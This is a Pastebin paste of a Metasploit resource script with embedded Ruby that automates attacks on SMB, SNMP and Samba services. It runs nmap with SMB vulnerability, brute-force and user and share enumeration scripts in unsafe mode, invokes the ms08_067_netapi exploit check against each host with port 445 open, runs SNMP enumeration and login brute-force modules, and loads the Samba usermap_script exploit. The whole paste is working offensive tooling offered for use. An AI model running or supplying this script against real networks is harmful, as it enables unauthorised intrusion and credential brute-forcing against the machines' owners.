Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <ruby>
- print_line("")
- print_status("Please wait, checking if RHOSTS is set globally...")
- if (framework.datastore['RHOSTS'] == nil)
- print_error("[ERROR] Please set RHOSTS globally: setg RHOSTS xxx.xxx.xxx.xxx")
- return
- end
- #Using nmap to populate metasploit database
- print_good("RHOSTS set globally [ OK ], running scans...")
- run_single("nmap -T4 -sU -sS -Pn -O -n -oN smbreport.log --script=samba-vuln-cve-2012-1182,dns-brute.nse,smb-check-vulns.nse,smb-os-discovery.nse,smb-enum-users.nse,smb-enum-shares.nse,smb-brute.nse,ip-geolocation-geoplugin.nse --script-args=unsafe=1 -p U:135,T:137,139,445 #{framework.datastore['RHOSTS']}")
- #Check for netapi vuln...
- print_line("")
- print_good("Checking for ms08_067_netapi vuln...")
- framework.db.workspace.hosts.each do |host|
- host.services.each do |serv|
- next if not serv.host
- next if (serv.state != ServiceState::Open)
- if (serv.name =~ /smb/ or serv.name =~ /microsoft-ds/ or serv.name =~ /netbios/ or serv.port == 445 or serv.port == 139 or serv.port == 137)
- if(serv.port == 445)
- print_line("")
- run_single("use exploit/windows/smb/ms08_067_netapi")
- run_single("set RHOST #{host.address}")
- run_single("check")
- end
- print_error("Server does not seems to be vuln...")
- end
- print_error("Cant Find any open ports...")
- end
- print_error("Cant find any services or open ports...")
- end
- print_line("")
- print_good("Please wait, running msf auxiliary modules...")
- </ruby>
- use auxiliary/scanner/snmp/snmp_enum
- run
- use auxiliary/scanner/snmp/snmp_enumusers
- run
- use auxiliary/scanner/snmp/snmp_enumshares
- run
- use auxiliary/scanner/snmp/snmp_login
- run
- use exploit/multi/samba/usermap_script
- hosts
- services
Advertisement
Add Comment
Please, Sign In to add comment